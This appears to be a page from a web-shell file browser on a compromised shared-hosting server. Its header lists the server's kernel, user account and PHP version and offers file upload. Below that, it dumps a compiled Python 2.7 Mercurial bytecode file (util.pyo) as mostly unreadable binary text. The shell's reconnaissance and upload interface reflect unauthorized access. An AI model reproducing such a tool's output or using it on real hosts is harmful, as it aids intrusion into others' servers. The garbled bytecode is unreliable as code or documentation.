HEX
Server: Apache
System: Linux p102.lithium.hosting 4.18.0-553.141.1.el8_10.x86_64 #1 SMP Fri Jul 10 17:48:02 UTC 2026 x86_64
User: bvzmoamr (9955)
PHP: 8.1.34
Disabled: syslog
Upload Files
File: //proc/thread-self/root/lib64/python2.7/site-packages/mercurial/util.pyo
�
1�3\c@@s�dZddlmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlmZddlmZddlmZm Z m!Z!m"Z#m$Z$m%Z%m&Z&ddl'm(Z(m)Z)e$j*d	�Z+e$j*d
�Z,e$j*d�Z-e+j.Z.e+j/Z/e%j0Z0e%j1Z1e%j2Z2e%j3Z3e%j4Z4e%j5Z5e5Z6e%j7Z7e&j8Z8e&j9Z9e&j:Z:e%j;Z<e%j=r:ddlm>Zndd
lm?Ze!j@Z@ejAZAejBZBejCZCejDZDejEZEejFZFejGZGejHZHejIZIejJZJejKZKejLZLe,jMZMejNZNejOZOejPZPejQZQejRZRejSZSejTZTejUZUejVZVejWZWejXZXejYZYejZZZej[Z[ej\Z\ej]Z]ej^Z^ej_Z_ej`Z`ejaZaejbZbejcZcede,deje�ZeejfZfejgZgejhZhejiZiejjZjy
e,jkZkWnelk
r�nXem�Znd�Zoepejqjrd��Zsesrfejtddeud�ejtddeud�ejtddeud�nesore%jvr�ejtddeud�ejtddeud�ejtddeud�ndd�Zwie
jxd6e
jyd6e
jzd6Z{dddgZ|xe|D]Z}qWdemfd��YZ~d emfd!��YZy
e�Z�Wn e�k
rbde�d"�Z�nXd#Z�d$emfd%��YZ�d&�Z�d'emfd(��YZ�d)e�fd*��YZ�d+d,d-d.d/d0d1d2d3d4d5d6hZ�d7emfd8��YZ�d9emfd:��YZ�d;e�fd<��YZ�e�e�e�e�d=�Z�d>e�fd?��YZ�e�e�e�e�e�d@�Z�dA�Z�e�dBdC�Z�dD�Z�dEemfdF��YZ�dGej�fdH��YZ�dIe�e�fdJ��YZ�dKe�e�fdL��YZ�dMemfdN��YZ�ej�e�dO��Z�ej�dP��Z�dQemfdR��YZ�dSemfdT��YZ�dU�Z�dVemfdW��YZ�dX�Z�dYdZd[�Z�d\�Z�d]�Z�d^�Z�e%j�r�d_�Z�nd`�Z�e(j��o�ededae��dbkr�e
j�j�e%j��Z�ne
j�j�e%j�e���Z�e!j�e��dc�Z�dddedfdgdhdidjdkdldmdndodph
Z�e�e�e�dq�Z�e�e�dr�Z�dsdtdudvdwdxdydzd{d|d}d~dd�d�d�d�d�d�d�d�d�hZ�d�Z�d��Z�e%j=r�e�Z�ej�Z�nej�Z�ejZ�e3ed��r	ej�Z�nd��Z�d��Z�d��Z�d��Z�yddl�Z�e�a�Wne�k
rk	e�a�nXd�emfd���YZ�e��ZiZ�d��Z�d��Z�d��Z�d��Z�e�e�d��Z�d�emfd���YZ�d�emfd���YZ�e�e�d��Z�d��Z�e�e�d��Z�d��Z�d��Z�d��Z�d�emfd���YZ�d�e�d��Z�d�emfd���YZ�d��Z�d��Z�e�d�dd�>e@d��fd�dd�>e@d��fddd�>e@d��fd�dd�>e@d��fd�dd�>e@d��fddd�>e@d��fd�dd�>e@d��fd�dd�>e@d��fddd�>e@d��fdde@d��f�
Z�d�emfd���YZ�ej�d��Z�d��Z�d��Z�d��Z�e%j�d�kr�e�Z�e�Z�e�Z�ne%j�Z�e%j�Z�e%j�Z�ej��d�koej�d�dfkrBej�d�d�dBfkr*d��Z�nd#d��Z�d��Z�n	d��Z�d��Z�d��Z�e�e�d��Z�d��Z�d�emfd���YZ�d��Z�d��Z�d��Z�d��Z�d��Z�d��Z�e�dd�e@d��fd�de@d��fd�de@d��fdde@d��fd�d�e@d��fd�d�e@d��fdd�e@d��fd�d�e@d��fd�d�e@d��fdd�e@d��fd�d�e@d��fd�d�e@d��fdd�e@d��f�
Z�ej�d�emfd���Y�Z�ej�d���Z�de�_�d��Z�d�d�d�fd�d�d�fd�d�d�fd�d�d�fd�d�d�fd�d�d�fd�dffZ�d��Z�d�emfd���YZ�dd�d�dd��Z�d�de(j�e(j�dd��Z�d�emfd���YZ�e3e-d��r�e-j�Z�nd��Zd�Zd�Zejd�d�d�d�f�Zd�emfd��YZe�Zdemfd��YZdemfd��YZdefd��YZ	defd��YZ
d	e
fd
��YZdefd��YZd
efd��YZ
eje
��defd��YZeje��defd��YZeje��defd��YZeje��defd��YZeje��d�Ze�j�Ze�Ze�d�Zd�Zd�Zd�ZdS(s�Mercurial utility functions and platform specific implementations.

This contains helper routines that are independent of the SCM core and
hide platform-specific details from the core.
i(tabsolute_importtprint_functionNi(tattr(ttracing(tencodingterrorti18ntnodetpolicytpycompatturllibcompat(tprocutilt
stringutiltbase85tosutiltparsers(twindows(tposixt	statfilescC@s%d}x|D]}||O}q
W|S(Ni((t	containertbitstbit((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytbitsfrom�s
tHGEMITWARNINGStdefaulttt	mercurialthgextthgext3rdtignores
bad escapesinvalid escape sequencesthe imp module is deprecatedcC@s;tr7|d|7}tjtj|�t|d�ndS(sxIssue an python native deprecation warning

    This is a noop outside of tests, use 'ui.deprecwarn' when possible.
    sF
(compatibility will be dropped after Mercurial-%s, update your code.)iN(t_dowarntwarningstwarnR	tsysstrtDeprecationWarning(tmsgtversiont
stacklevel((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytnouideprecwarn�stmd5tsha1tsha512tdigestercB@sDeZdZdd�Zd�Zd�Zd�Zed��ZRS(s�helper to compute digests.

    This helper can be used to compute one or more digests given their name.

    >>> d = digester([b'md5', b'sha1'])
    >>> d.update(b'foo')
    >>> [k for k in sorted(d)]
    ['md5', 'sha1']
    >>> d[b'md5']
    'acbd18db4cc2f85cedef654fccc4a4d8'
    >>> d[b'sha1']
    '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
    >>> digester.preferred([b'md5', b'sha1'])
    'sha1'
    RcC@spi|_xJ|D]B}|tkr>tjtd�|��nt|�|j|<qW|rl|j|�ndS(Nsunknown digest type: %s(t_hashestDIGESTSRtAbortt_tupdate(tselftdigestststk((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__init__�s	
cC@s+x$|jj�D]}|j|�qWdS(N(R+tvaluesR/(R0tdatath((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR/�scC@sB|tkr(tjtd�t��ntj|j|j��S(Nsunknown digest type: %s(	R,RR-R.R3tnodemodthexR+tdigest(R0tkey((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__getitem__�scC@s
t|j�S(N(titerR+(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__iter__�scC@s%xtD]}||kr|SqWdS(s@returns the strongest digest type in both supported and DIGESTS.N(tDIGESTS_BY_STRENGTHtNone(t	supportedR3((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	preferred�s
(	t__name__t
__module__t__doc__R4R/R<R>tstaticmethodRB(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR*�s				t
digestcheckercB@s,eZdZd�Zdd�Zd�ZRS(s�file handle wrapper that additionally checks content against a given
    size and digests.

        d = digestchecker(fh, size, {'md5': '...'})

    When multiple digests are given, all of them are validated.
    cC@sF||_||_d|_t|�|_t|jj��|_dS(Ni(t_fht_sizet_gottdictt_digestsR*tkeyst	_digester(R0tfhtsizeR1((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�s
			i����cC@s;|jj|�}|jj|�|jt|�7_|S(N(RHtreadRNR/RJtlen(R0tlengthtcontent((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQ�scC@s�|j|jkr:tjtd�|j|jf��nx\|jj�D]K\}}||j|krJtjtd�|||j|f��qJqJWdS(Ns"size mismatch: expected %d, got %ds %s mismatch: expected %s, got %s(RIRJRR-R.RLtitemsRN(R0R3tv((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytvalidates(RCRDRER4RQRW(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRG�s	cC@s/|dk	r!t|�|||!St|�|S(N(R@t
memoryview(t	sliceabletoffsetRS((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytbuffersitbufferedinputpipecB@s�eZdZd�Zd�Zed��Zed��Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
ed�ZRS(sWa manually buffered input pipe

    Python will not let us use buffered IO and lazy reading with 'polling' at
    the same time. We cannot probe the buffer state and select will not detect
    that data are ready to read if they are already buffered.

    This class let us work around that by implementing its own buffering
    (allowing efficient readline) while offering a way to know if the buffer is
    empty from the output (allowing collaboration of the buffer with polling).

    This class lives in the 'util' module because it makes use of the 'os'
    module from the python stdlib.
    cC@s.t|t�rt}ntt|�j|�S(N(t
isinstancetfileobjectproxytobservedbufferedinputpipetsuperR\t__new__(tclsRO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRa%s	cC@s(||_g|_t|_d|_dS(Ni(t_inputt_buffertFalset_eoft_lenbuf(R0tinput((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4-s			cC@s
t|j�S(s�True is any data is currently buffered

        This will be used externally a pre-step for polling IO. If there is
        already data then no polling should be set in place.(tboolRd(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	hasbuffer3scC@s
|jjS(N(Rctclosed(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRk;scC@s
|jj�S(N(Rctfileno(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRl?scC@s
|jj�S(N(Rctclose(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRmBscC@s7x'|jr)|j|kr)|j�qW|j|�S(N(RfRgt_fillbuffert_frombuffer(R0RP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQEscC@sK|jr2|jdkr2|jt|t��n|jt|j|��S(Ni(RfRgRntmaxt
_chunksizeRotmin(R0RP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytunbufferedreadJscO@st|j�dkrFdj|j�g|_t|jd�|_nd}|jrn|jdjd�}nxF|jr�|dkr�|j�|jrq|jdjd�}qqqqW|d}|dkr�|j}n6t|j�dkr||jt|jd�7}n|j|�S(NiRii����s
(RRRdtjoinRgtfindRfRnRo(R0targstkwargstlfiRP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadlineOs 	
	
!cC@s�|dks|jrdS|jd}t|j�dkrQdj|j�}n|| }|t|�}|r�|g|_t|�|_ng|_d|_|S(sYreturn at most 'size' data from the buffer

        The data are removed from the buffer.iRi(RdRRRtRg(R0RPtbufR6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRods

		cC@sVtj|jj�|�}|s-t|_n%|jt|�7_|jj	|�|S(sread data to the buffer(
tosRQRcRltTrueRfRgRRRdtappend(R0RPR6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRnxs(RCRDRERaR4tpropertyRjRkRlRmRQRsRyRoRqRn(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR\s
								c@sry;t�d�fd���}tj|ddtj�SWn0tk
rmtj|�jdkrgdS�nXdS(NRlc@s�S(N(((tfp(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt<lambda>�RitaccessR(tgetattrtmmaptACCESS_READt
ValueErrorR{tfstattst_size(Rtfd((Rs4/usr/lib64/python2.7/site-packages/mercurial/util.pytmmapread�s
R^cB@seZdZdZd�Zd�Zd�ZeZd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(s�A proxy around file objects that tells a watcher when events occur.

    This type is intended to only be used for testing purposes. Think hard
    before using it in important code.
    t_origt	_observercC@s*tj|d|�tj|d|�dS(NR�R�(tobjectt__setattr__(R0ROtobserver((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�scC@swddddddddd	d
ddd
dddddddh}||kr^tj||�Sttj|d�|�S(NR�RmRltflushtisattytreadableRyt	readlinestseektseekablettellttruncatetwritablet
writelinesRQtreadalltreadintotwritetdetachtread1R�(R�t__getattribute__R�(R0tnametours((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s.	cC@sttj|d��S(NR�(RiR�R�(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__nonzero__�scC@sttj|d�|�S(NR�(tdelattrR�R�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__delattr__�scC@sttj|d�||�S(NR�(tsetattrR�R�(R0R�tvalue((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scC@stj|d�j�S(NR�(R�R�R>(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR>�scO@sktj|d�}t||�||�}tj|d�}t||d�}|rg||||�n|S(NR�R�(R�R�R�R@(R0R�RvRwtorigtresR�tfn((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
_observedcall�scO@stj|d�d||�S(NR�Rm(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRm�scO@stj|d�d||�S(NR�Rl(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRl�scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�Ry(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRy�scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scO@stj|d�d||�S(NR�RQ(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQscO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR� scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�$scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�(s(R�R�(RCRDREt	__slots__R4R�R�t__bool__R�R�R>R�RmRlR�R�R�RyR�R�R�R�R�R�R�RQR�R�R�R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR^�s<		'																							R_cB@s)eZdZd�Zd�Zd�ZRS(s�A variation of bufferedinputpipe that is aware of fileobjectproxy.

    ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
    bypass ``fileobjectproxy``. Because of this, we need to make
    ``bufferedinputpipe`` aware of these operations.

    This variation of ``bufferedinputpipe`` can notify observers about
    ``os.read()`` events. It also re-publishes other events, such as
    ``read()`` and ``readline()``.
    cC@sGtt|�j�}t|jjdd�}|rC||t�n|S(Ntosread(R`R_RnR�RcR�R@Rq(R0R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRn7s
cC@sJtt|�j|�}t|jjdd�}|rF|||�n|S(Ntbufferedread(R`R_RQR�RcR�R@(R0RPR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQBs
cO@sJtt|�j||�}t|jjdd�}|rF||�n|S(Ntbufferedreadline(R`R_RyR�RcR�R@(R0RvRwR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRyKs

(RCRDRERnRQRy(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR_,s
			tmakefiletrecvtrecvfromt
recvfrom_intot	recv_intotsendtsendalltsendtotsetblockingt
settimeoutt
gettimeoutt
setsockopttsocketproxycB@s�eZdZdZd�Zd�Zd�Zd�Zd�ZeZ	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(s�A proxy around a socket that tells a watcher when events occur.

    This is like ``fileobjectproxy`` except for sockets.

    This type is intended to only be used for testing purposes. Think hard
    before using it in important code.
    R�R�cC@s*tj|d|�tj|d|�dS(NR�R�(R�R�(R0tsockR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4pscC@s5|tkrtj||�Sttj|d�|�S(NR�(tPROXIED_SOCKET_METHODSR�R�R�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�tscC@sttj|d�|�S(NR�(R�R�R�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�zscC@sttj|d�||�S(NR�(R�R�R�(R0R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�}scC@sttj|d��S(NR�(RiR�R�(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@sktj|d�}t||�||�}tj|d�}t||d�}|rg||||�n|S(NR�R�(R�R�R�R@(R0R�RvRwR�R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@sjtj|d�d||�}tj|d�}t|j||jd|jd|jd|jd|j�S(NR�R�R�treadstwritestlogdatatlogdataapis(	R�R�tmakeloggingfileobjectROR�R�R�R�R�(R0RvRwR�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s			cO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�t	recv_info(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��scO@stj|d�d||�S(NR�R�(R�R�(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s(R�R�(RCRDRER�R4R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�cs,							
										tbaseproxyobservercB@seZd�ZRS(cC@s|js6|jr2|jjd�|jj�ndSd|kr�|jrk|jjdtj|��n&|jjd|jtj|�f�|jj�dS|jr�|jjd�n|jt	�}x4|D],}|jjd|jtj|�f�q�W|jj�dS(Ns
s: %s
s%s>     %s
s:
(
R�R�ROR�R�Rt	escapestrR�t
splitlinesR|(R0R6tlinestline((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt
_writedata�s&			 
	
(RCRDR�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��stfileobjectobservercB@sheZdZeeeed�Zdd�Zdd�Zd�Zd�Z	d�Z
d�Zd	�ZRS(
sLogs file object activity.cC@s:||_||_||_||_||_||_dS(N(ROR�R�R�R�R�(R0ROR�R�R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4�s					i����cC@s�|js
dS|dkr"d}n|dkr>|dkr>dS|jrp|jjd|j|t|�f�n|j|�dS(NRi����s%s> read(%d) -> %d(R�R@R�ROR�R�RRR�(R0R�RP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQ�s			)cC@sM|js
dS|jr<|jjd|jt|�f�n|j|�dS(Ns%s> readline() -> %d(R�R�ROR�R�RRR�(R0R�tlimit((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRys
		&cC@so|js
dS|jr?|jjd|jt|�|f�n|dk	rX|d|!nd}|j|�dS(Ns%s> readinto(%d) -> %riR(R�R�ROR�R�RRR@R�(R0R�tdestR6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s		cC@sq|js
dS|dkr.|r.t|�}n|jr`|jjd|jt|�|f�n|j|�dS(Ns%s> write(%d) -> %r(R�R@RRR�ROR�R�R�(R0R�R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�s		)cC@s.|js
dS|jjd|j|f�dS(Ns%s> flush() -> %r
(R�ROR�R�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�(s	cC@sP|js
dS|jr?|jjd|j|t|�f�n|j|�dS(Ns%s> bufferedread(%d) -> %d(R�R�ROR�R�RRR�(R0R�RP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�/s		cC@sM|js
dS|jr<|jjd|jt|�f�n|j|�dS(Ns%s> bufferedreadline() -> %d(R�R�ROR�R�RRR�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�9s		(
RCRDRER|ReR4RQRyR�R�R�R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s						
cC@s4t||d|d|d|d|�}t||�S(s.Turn a file object into a logging file object.R�R�R�R�(R�R^(tloghROR�R�R�R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�CstsocketobservercB@s�eZdZeeeeed�Zddd�Zdd�Zdd�Z	dd�Z
ddd�Zdd�Zdd	�Z
dd
�Zd�Zd�Zd
�Zd�ZRS(sLogs socket activity.cC@sC||_||_||_||_||_||_||_dS(N(ROR�R�R�tstatesR�R�(R0ROR�R�R�R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4Ms						cC@s1|js
dS|jjd|j||f�dS(Ns%s> makefile(%r, %r)
(R�ROR�R�(R0R�tmodetbufsize((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�Ws	icC@sS|js
dS|jrB|jjd|j||t|�f�n|j|�dS(Ns%s> recv(%d, %d) -> %d(R�R�ROR�R�RRR�(R0R�RPtflags((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�^s		 cC@s[|js
dS|jrF|jjd|j||t|d�f�n|j|d�dS(Ns%s> recvfrom(%d, %d) -> %di(R�R�ROR�R�RRR�(R0R�RPR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�gs		$cC@s\|js
dS|jr@|jjd|j|||df�n|j|d|d!�dS(Ns%s> recvfrom_into(%d, %d) -> %di(R�R�ROR�R�R�(R0R�RzRPR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�qs		cC@sT|js
dS|jr<|jjd|j|||f�n|j|d|!�dS(Ns%s> recv_into(%d, %d) -> %di(R�R�ROR�R�R�(R0R�RzRPR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�{s		cC@sM|js
dS|jjd|jt|�|t|�f�|j|�dS(Ns%s> send(%d, %d) -> %d(R�ROR�R�RRR�(R0R�R6R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s
	#cC@sP|js
dS|jr?|jjd|jt|�|f�n|j|�dS(Ns%s> sendall(%d, %d)(R�R�ROR�R�RRR�(R0R�R6R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s		cC@sk|js
dS|r|}nd}|jrZ|jjd|jt|�|||f�n|j|�dS(Nis%s> sendto(%d, %d, %r) -> %d(R�R�ROR�R�RRR�(R0R�R6tflagsoraddresstaddressR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s			#cC@s.|js
dS|jjd|j|f�dS(Ns%s> setblocking(%r)
(R�ROR�R�(R0R�tflag((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s	cC@s.|js
dS|jjd|j|f�dS(Ns%s> settimeout(%r)
(R�ROR�R�(R0R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s	cC@s.|js
dS|jjd|j|f�dS(Ns%s> gettimeout() -> %f
(R�ROR�R�(R0R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s	cC@s7|js
dS|jjd|j||||f�dS(Ns!%s> setsockopt(%r, %r, %r) -> %r
(R�ROR�R�(R0R�tleveltoptnameR�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��s	N(RCRDRER|ReR4R@R�R�R�R�R�R�R�R�R�R�R�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�Ks			


			c	
C@s:t||d|d|d|d|d|�}t||�S(s$Turn a socket into a logging socket.R�R�R�R�R�(R�R�(	R�ROR�R�R�R�R�R�R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytmakeloggingsocket�s	cC@s4yddlm}|jSWntk
r/dSXdS(s(Return version information if available.i(t__version__tunknownN(RR�R$tImportError(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR$�s

icC@sU|st�}ntjd|�}|s:d|}}n:|jd�r^|j�\}}n|jd�d	}}g}xC|jd�D]2}y|jt|��Wq�t	k
r�Pq�Xq�Wx#t
|�dkr�|jd	�q�W|dkr|d|dfS|dkr)|d|d|dfS|dkrQ|d|d|d|fSd	S(
szParses a Mercurial version string into an N-tuple.

    The version string to be parsed is specified with the ``v`` argument.
    If it isn't defined, the current Mercurial version string will be parsed.

    ``n`` can be 2, 3, or 4. Here is how some version strings map to
    returned values:

    >>> v = b'3.6.1+190-df9b73d2d444'
    >>> versiontuple(v, 2)
    (3, 6)
    >>> versiontuple(v, 3)
    (3, 6, 1)
    >>> versiontuple(v, 4)
    (3, 6, 1, '190-df9b73d2d444')

    >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
    (3, 6, 1, '190-df9b73d2d444+20151118')

    >>> v = b'3.6'
    >>> versiontuple(v, 2)
    (3, 6)
    >>> versiontuple(v, 3)
    (3, 6, None)
    >>> versiontuple(v, 4)
    (3, 6, None, None)

    >>> v = b'3.9-rc'
    >>> versiontuple(v, 2)
    (3, 9)
    >>> versiontuple(v, 3)
    (3, 9, None)
    >>> versiontuple(v, 4)
    (3, 9, None, 'rc')

    >>> v = b'3.9-rc+2-02a8fea4289b'
    >>> versiontuple(v, 2)
    (3, 9)
    >>> versiontuple(v, 3)
    (3, 9, None)
    >>> versiontuple(v, 4)
    (3, 9, None, 'rc+2-02a8fea4289b')

    >>> versiontuple(b'4.6rc0')
    (4, 6, None, 'rc0')
    >>> versiontuple(b'4.6rc0+12-425d55e54f98')
    (4, 6, None, 'rc0+12-425d55e54f98')
    >>> versiontuple(b'.1.2.3')
    (None, None, None, '.1.2.3')
    >>> versiontuple(b'12.34..5')
    (12, 34, None, '..5')
    >>> versiontuple(b'1.2.3.4.5.6')
    (1, 2, 3, '.4.5.6')
    s(\d+(?:\.\d+){,2})[\+-]?(.*)Riit.iiiN(R$tremodtmatchtgrouptgroupsR@tsplitR}tintR�RR(RVtntmtvpartstextratvintsti((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytversiontuple�s,7
	c@sq�jjdkr.g���fd�}|Si��jjdkr[��fd�}n��fd�}|S(s"cache the result of function callsic@s-t��dkr%�j���n�dS(Ni(RRR}((tcachetfunc(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytf(sic@s'|�kr�|��|<n�|S(N((targ(R�R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�1sc@s'|�kr�|��|<n�|S(N((Rv(R�R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�6s(t__code__tco_argcount(R�R�((R�R�s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt	cachefunc#stcowcB@s eZdZd�Zd�ZRS(s^helper class to make copy-on-write easier

    Call preparewrite before doing any writes.
    cC@s2t|dd�r.|jd8_|j|�S|S(s;call this before writes, return self or a copied new objectt_copiedii(R�R�t	__class__(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytpreparewriteCs
cC@st|dd�d|_|S(salways do a cheap copyR�ii(R�R�(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcopyJs(RCRDRER�R�(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�=s	tsortdictcB@s,eZdZd�Zejr*d�ZnRS(s�a simple sorted dictionary

    >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
    >>> d2 = d1.copy()
    >>> d2
    sortdict([('a', 0), ('b', 1)])
    >>> d2.update([(b'a', 2)])
    >>> list(d2.keys()) # should still be in last-set order
    ['b', 'a']
    cC@s3||kr||=ntt|�j||�dS(N(R`R�t__setitem__(R0R;R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR�[s
